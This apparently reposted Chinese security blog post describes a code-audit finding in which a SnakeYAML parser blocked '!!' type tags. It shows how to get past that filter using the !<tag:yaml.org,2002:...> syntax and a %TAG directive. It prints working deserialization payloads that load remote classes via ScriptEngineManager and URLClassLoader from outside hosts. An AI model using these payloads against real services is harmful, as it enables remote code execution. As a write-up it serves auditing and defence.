SnakeYaml 反序列化的一个小 trick

  • A+
所属分类:代码审计

背景

这是我在做某个代码审计项目时遇到的场景,一个 yaml 解析的功能使用了 snakeyaml 来处理 yaml,snakeyaml 一般情况下是可以直接进行反序列化攻击的。但这里它做了一个前提条件 —— “不允许 yaml 中存在 !!”。

打过 yaml 反序列化漏洞的人应该都知道 !! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。

分析

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

这条 POC 是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。

SnakeYaml 反序列化的一个小 trick

以上图为例,yaml 中带有 !! 无法通过校验。所以需要先去绕过 !! 。

我一开始想到的是类似 fastjson 可以16进制、Unicode在内部进行解码,实际测试并不可行,

SnakeYaml 反序列化的一个小 trick

虽然可以处理 Unicode,但只能当做 string 使用,所以这个想法只能放弃。

SnakeYaml 反序列化的一个小 trick

经过一系列的调试我发现,每个 !! 修饰过的类都转成了一个 TAG。

例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:

    public static final String PREFIX = "tag:yaml.org,2002:";    public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");    public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");   /*...*/    public static final Tag STR = new Tag("tag:yaml.org,2002:str");    public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");    public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

所以 !!javax.script.ScriptEngineManager 的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager

我在 yaml 官网找到了一些与tag:yaml.org,2002相关的文档。

SnakeYaml 反序列化的一个小 trick

发现它除了 !! 以为还有另外几种 TAG 的表示方式。

%YAML 1.1---!!seq [  !<!foo> "bar",  !<tag:yaml.org,2002:str> "string"  !<tag:ben-kiki.org,2000:type> "baz"]
# Explicitly specify default settings:%TAG !     !%TAG !!    tag:yaml.org,2002:# Named handles have no default:%TAG !o! tag:ben-kiki.org,2000:---- !foo "bar"- !!str "string"- !o!type "baz"

第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://b1ue.cn/"]]]]

这样就可以绕过不允许存在 !! 的限制。

SnakeYaml 反序列化的一个小 trick

再来看第二种,需要在 yaml 中用%TAG声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG !      tag:yaml.org,2002:

后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG !      tag:yaml.org,2002:---!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

SnakeYaml 反序列化的一个小 trick

同样也只使用了一个!,绕过了!!的限制。


本文始发于微信公众号(安全档案):SnakeYaml 反序列化的一个小 trick

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: